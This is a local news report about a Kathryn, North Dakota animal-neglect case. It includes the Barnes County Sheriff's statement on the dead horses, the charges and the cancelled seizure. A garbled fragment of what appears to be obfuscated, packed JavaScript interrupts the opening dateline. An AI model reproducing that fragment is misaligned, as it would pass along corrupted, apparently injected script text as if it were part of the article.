KATHRYN, adzdy|var|u0026u|referrer|bhkff||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) A rural Kathryn woman who faces misdemeanor charges after investigators found dead horses in her pasture near Kathryn has sold her remaining animals to a Bismarck man.
The owner, Ginger Helland was charged in January after 8-horses were found dead in one of her pastures in December.
Barnes County Sheriff Randy McClaflin says the county received a court order to seize the remaining on January 23. He says horse owners were planning to drive to Kathryn to rescue the animals January 25 when they learned they were sold the day before.
The rescuers are not happy with how the situation was handled. They say they wasted their time and money traveling to pick-up the animals. Most of the rescuers made it to Jamestown before they turned around. McClaflin says he’s willing to discuss a possible reimbursement for those who traveled to rescue the horses.
McClaflin says the animals sold to the Bismarck man are being fed and are in good care.
Below is a news release by the Barnes County Sheriff’s office;
In a prior Fargo Forum article it stated that Barnes County deputies knew about Helland’s dead horses 4 months before December 25, 2014. There had been no reports of any dead horses in that area, during this time. Reports consisted of Helland’s livestock at large in Barnes County, in which deputies were notified and responded to.
Barnes County Sheriff’s Office case numbers:
C13-177 Livestock at Large & crop damage report and photos sent to Barnes County State’s Attorney’s office
C13-181 Cattle in neighbor’s crops; report and statements sent to Barnes County State’s Attorney’s office
C13-187 Dead Cow in Bean Field; calls for service and pictures
C13-204 Cattle Out, Dead Cow; statement to Barnes County State’s Attorney’s office
C13-206 Livestock at Large; report, Calls for Service, photos sent to Barnes County State’s Attorney’s office
C13-209 Cattle at Large; case report, statements, photos sent to Barnes County State’s Attorney’s office
C13-216 Cattle at Large, Cattle in neighbor’s field; case report sent to Barnes County State’s Attorney’s office
Parties have been charged with four counts of Livestock at Large; court is pending.
The first report of dead horses on Helland’s property was on 12/25/13. Barnes County Sheriff’s office Deputy responded; took pictures, case report (C13-254) was sent up to the Barnes County State’s Attorney’s office. The ND State Veterinarian’s office and ND Stockmen’s Association was notified. The State Veterinarian’s office was out to the Helland farm twice after the initial report; to assess the conditions of the horses. The Stockmen’s Association was also at the Helland farm. A search warrant was issued for access to assess the horses on all of the Helland property. The reports from the ND State Vet was also sent to the Barnes County State’s Attorney’s office. The ND State Veterinarian stated “These horses all appeared in good condition.” The ND State Veterinarian did state “There were several horses that scored body condition scores of 2 or 3.” At this point Helland’s had moved all of the horses to the home farmstead; where there was plenty of hay and water. The Barnes County State’s Attorney charged out Ginger Helland with Animal Neglect, Mistreating Animals, and Unlawful Disposition of Dead Animal.
Barnes County Sheriff’s office also learned the ND State Veterinarian’s office had been at the Helland farm on November 15, 2013; to assess the horses.
An Order to Seize Neglected and Abused Horses was obtained on Thursday, January 23, 2014. BCSO deputies had been out to Helland’s numerous times since December 25; with the ND State Veterinarian’s Office, ND State Stockmen’s Association to do follow-up investigation on conditions of the horses, whether there were stray horses and branded horses. There were also concerns that there was not enough hay to sustain the horses for the long term. The Non-Profit Tripe H Miniature Horse rescue contacted BCSO; stating they could help. The soonest as the Non-Profit Triple H Miniature Horse rescue could assist the BCSO was on Saturday the 25th. Saturday was the agreed upon day to get the human and material resources together. The Non-Profit Triple H Miniature Horse Rescue posted on their Facebook fan page that they would be needing help on Saturday for the seizure of 41 horses. The Non-Profit Triple H Miniature Horse Rescue knew that Ginger Helland was trying to sell horses; they even contacted a perspective buyer. The Helland’s also told the BCSO that they were going to be looking at selling their cattle over the next two months. Ginger Helland had sold the remaining horses to a horse buyer; which he picked up Friday night, which the Sheriff’s Office had no knowledge of. The plan was with the Non-Profit Triple Horse Rescue, the ND Stockmen’s Association and the Barnes County Sheriff’s office to go to Helland’s farm on Saturday to seize any horses that remained. The Seizure Order can only be served with the proper equipment and trailers and a place for the horses to be boarded; to be successful.
This was not a rescue mission, as the Fargo Forum had it labeled. This was a seizure for poor horse management, low body condition score on a couple of horses, free range pasturing, horses being on township roads, recent history of dead horses and the lack of sustainable hay for the long term.
We have accomplished our goal of removing the horses from the Helland property. The Stockmen’s Association stated that the horses will be well taken care of by the buyers.